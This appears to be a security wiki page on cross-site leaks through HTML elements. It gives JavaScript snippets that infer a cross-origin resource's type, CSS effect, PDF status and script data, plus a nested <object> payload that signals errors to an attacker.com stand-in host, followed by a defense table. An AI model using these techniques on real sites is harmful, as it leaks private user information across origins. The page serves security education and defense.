Element leaks

Element leaks

Abuse HTMLElement
Category Attack
Defenses SameSite Cookies

Some HTML Elements might be used to leak a portion of data to a cross-origin page. For example, the below media resources can leak information about its size, duration, type.

It’s possible to differentiate between media types via unique property for a given media type. For example, it is videoWidth for a <video>, or duration for an <audio>. The below snippet shows an example code that returns the type of a resource.

async function getType(url) {
    // Detect if resource is audio or video
    let media = document.createElement("video");
    media.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (media.videoWidth) {
    return "video";
    } else if (media.duration) {
    return "audio"
    }
    // Detect if resource is an image
    let image = new Image();
    image.src = url;
    await new Promise(r=>setTimeout(r,50));
    if (image.width) return "image";
}

Abusing CORB #

CORB is a feature of Chrome that makes responses empty if the wrong content type is used. This means that if the type is wrong it’s not cached. An ifCached function can be found in Cache Probing article.

async function isType(url, type = "script") {
  let error = false;
  // Purge url
  await ifCached(url, true);
  // Attempt to load resource
  let e = document.createElement(type);
  e.onerror = () => error = true;
  e.src = url;
  document.head.appendChild(e);
  // Wait for it to be cached if its allowed by CORB
  await new Promise(resolve => setTimeout(resolve, 500));
  // Cleanup
  document.head.removeChild(e);
  // Fix for "images" that get blocked differently.
  if (error) return false
  return ifCached(url);
}

Abusing getComputedStyle #

getComputedStyle can be used to read an embedded to the current page CSS style sheets. Including those loaded from different origins. This function just checks if there has been a style applied to the body.

async function isCSS(url) {
    let link = document.createElement('link');
    link.rel = 'stylesheet';
    link.type = 'text/css';
    link.href = url;
    let style1 = JSON.stringify(getComputedStyle(document.body));
    document.head.appendChild(link);
    await new Promise(resolve => setTimeout(resolve, 500));
    let style2 = JSON.stringify(getComputedStyle(document.body));
    document.head.removeChild(link);
    return (style1 !== style2);
}

PDF #

There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar.
For chrome, a PDF can be detected with frame counting because an embed is used internally.

async function isPDF(url) {
    let w = open(url);
    await new Promise(resolve => setTimeout(resolve, 500));
    let result = (w.length === 1);
    w.close();
    return result;
}

warning

There will be false positives if the page has other embeds.

Script tag #

When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information 1.

let hook = window.Array.prototype.push;
window.Array.prototype.push = function() {
    console.log(this);
    return hook.apply(this, arguments);
}

When Javascript can’t be used #

If JavaScript is disabled it’s still possible to leak some information about cross-origin resources. For example, an <object> can be used to detect whether a resource responds with Error Code. What happens is that if a resource //example.org/resource returns an error in <object data=//example.org/resource>fallback</object> then fallback will be rendered 2 3. It’s possible to inject another <object> inside that will leak the information to an outside server, or detect it with CSS 4. The below code embeds //example.org/404 and if it responds with Error then a request to //attacker.com/?error is also made as a fallback.

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

Defense #

| Attack Alternative | [SameSite Cookies (Lax)](https://xsleaks.dev/docs/defenses/opt-in/same-site-cookies/) | [COOP](https://xsleaks.dev/docs/defenses/opt-in/coop/) | [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) |                                          [Isolation Policies](https://xsleaks.dev/docs/defenses/isolation-policies/)                                           |
| :----------------: | :--------------------------------------------------------------------------------: | :-------------------------------------------------: | :---------------------------------------------------------------: | :------------------------------------------------------------------------------------------------------------------------------------------------------: |
|     Type leaks     |                                         ✔️                                         |                         ❌                          |                                ❌                                 | [RIP](https://xsleaks.dev/docs/defenses/isolation-policies/resource-isolation/) 🔗 [NIP](https://xsleaks.dev/docs/defenses/isolation-policies/navigation-isolation/) |

References #


  1. The Unexpected Dangers of Dynamic JavaScript. link ↩︎

  2. HTML Standard, [3.2.5.2.6 Embedded content], link ↩︎

  3. Leaky Images: Targeted Privacy Attacks in the Web, [3.4 Linking User Identities], link ↩︎

  4. https://twitter.com/terjanq/status/1180477124861407234 ↩︎